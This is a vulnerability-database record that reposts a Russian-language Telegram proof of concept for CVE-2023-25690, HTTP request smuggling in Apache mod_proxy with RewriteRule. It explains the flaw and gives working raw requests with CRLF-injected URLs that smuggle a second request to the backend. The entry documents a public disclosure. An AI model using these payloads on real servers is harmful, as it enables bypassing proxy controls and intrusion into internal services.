{"uuid": "995232f3-17d9-4976-87e4-26563a9a33c5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-25690", "type": "published-proof-of-concept", "source": "https://t.me/poxek/2967", "content": "Apache HTTP-Request-Smuggling (CVE-2023-25690)\n\n\u0413\u0434\u0435-\u0442\u043e \u0432 \u0430\u043f\u0440\u0435\u043b\u0435 \u0431\u044b\u043b\u0430 \u0448\u0443\u043c\u0438\u0445\u0430 \u0441 \u043d\u043e\u0432\u043e\u0439 \u0432\u0443\u043b\u043d\u043e\u0439 \u0432 Apache, \u043a\u043e\u0433\u0434\u0430 mod_proxy \u0432\u043c\u0435\u0441\u0442\u0435 \u0441 \u043f\u0440\u0430\u0432\u0438\u043b\u0430\u043c\u0438 RewriteRule \u0438 ProxyPassMatch, \u043f\u0440\u0438\u0432\u043e\u0434\u0438\u043b \u043a HTTP-Request-Smuggling\n\n\u0412 \u043f\u0435\u0440\u0432\u043e\u043c \u0441\u043b\u0443\u0447\u0430\u0435 \u0431\u044b\u043b \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0439 \u043f\u0440\u0438\u043a\u043e\u043b\n\n\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u0437\u0430\u043f\u0440\u0430\u0448\u0438\u0432\u0430\u0435\u0442 URL https://testik.com/categories/1, \u0430 RewriteRule \u0441\u043e\u043f\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 URL \u0438 \u0437\u0430\u0445\u0432\u0430\u0442\u044b\u0432\u0430\u0435\u0442 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 1 \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u0440\u0435\u0433\u0443\u043b\u044f\u0440\u043d\u043e\u0433\u043e \u0432\u044b\u0440\u0430\u0436\u0435\u043d\u0438\u044f ^/categories/(.*). \u0417\u0430\u0442\u0435\u043c \u043f\u0440\u0430\u0432\u0438\u043b\u043e \u043f\u0435\u0440\u0435\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u0442 URL \u043d\u0430 http://testik.com:8080/categories?id=1, \u0434\u043e\u0431\u0430\u0432\u043b\u044f\u044f \u043f\u0435\u0440\u0435\u0445\u0432\u0430\u0447\u0435\u043d\u043d\u043e\u0435 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 \u043a \u043f\u0435\u0440\u0435\u043f\u0438\u0441\u0430\u043d\u043d\u043e\u043c\u0443 URL \u0432 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0435 id \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u0430 \u0437\u0430\u043f\u0440\u043e\u0441\u0430.\n\nProxyPassReverse, \u0443\u0436\u0435 \u043f\u0440\u043e\u0441\u0442\u043e \u0437\u0430\u043c\u0435\u043d\u044f\u0435\u0442 \u0434\u043e\u043c\u0435\u043d \u0438 \u0430\u0434\u0440\u0435\u0441 \u0432\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u0435\u0433\u043e \u0441\u0435\u0440\u0432\u0435\u0440\u0430 \u043d\u0430 \u0434\u043e\u043c\u0435\u043d \u0438 \u0430\u0434\u0440\u0435\u0441 \u043f\u0440\u043e\u043a\u0441\u0438-\u0441\u0435\u0440\u0432\u0435\u0440\u0430, \u0447\u0442\u043e\u0431\u044b \u043a\u043b\u0438\u0435\u043d\u0442 \u043c\u043e\u0433 \u043f\u0440\u0430\u0432\u0438\u043b\u044c\u043d\u043e \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u0438\u0442\u044c \u043f\u043e \u0441\u0441\u044b\u043b\u043a\u0430\u043c \u0438 \u043f\u043e\u043b\u0443\u0447\u0430\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u043a\u043e\u043d\u0442\u0435\u043d\u0442\u0443 \u0441 \u043f\u0440\u043e\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e \u0432\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u0435\u0433\u043e \u0441\u0435\u0440\u0432\u0435\u0440\u0430 /categories/ http://example-shop.com:8080/. \u0412\u0435\u0441\u0435\u043b\u043e, \u0434\u0430?\n\n\n\u041f\u043b\u044e\u0441, \u0437\u0430\u043c\u0435\u0447\u0443, \u0447\u0442\u043e Apache \u0431\u044b\u043b \u0443\u044f\u0437\u0432\u0438\u043c \u0435\u0449\u0435 \u043a CRLF-injection, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043d\u0430\u043c \u0431\u0443\u0434\u0435\u0442 \u043d\u0443\u0436\u0435\u043d \u0432 \u0434\u0430\u043b\u044c\u043d\u0435\u0439\u0448\u0435\u043c\n\n\u0414\u043b\u044f \u0435\u0433\u043e \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u043c\u044b \u0443\u0436\u0435 \u0438\u043c\u0435\u0435\u043c \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0438\u043c \u0437\u0430\u043f\u0440\u043e\u0441\n\nGET /categories/1%20HTTP/1.1%0d%0aFoo:%20baarr HTTP/1.1\nHost: localhost\n\n\u0418 \u0442\u0435\u043f\u0435\u0440\u044c \u0434\u0435\u043b\u0430\u0435\u043c \u0441\u043c\u0430\u0433\u0433\u043b\u0438\u043d\u0433 \u0437\u0430\u043f\u0440\u043e\u0441\n\nGET /categories/1%20HTTP/1.1%0d%0aHost:%20localhost%0d%0a%0d%0aGET%20/SMUGGLED HTTP/1.1\nHost: localhost\n\n\u0418 \u043e\u0442\u0432\u0435\u0442 \u0431\u0443\u0434\u0435\u0442 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0439\n\nGET /categories.php?id=1 HTTP/1.1\nHost: localhost\n\nGET /SMUGGLED HTTP/1.1\nHost: backend", "creation_timestamp": "2023-06-07T08:29:47.000000Z"}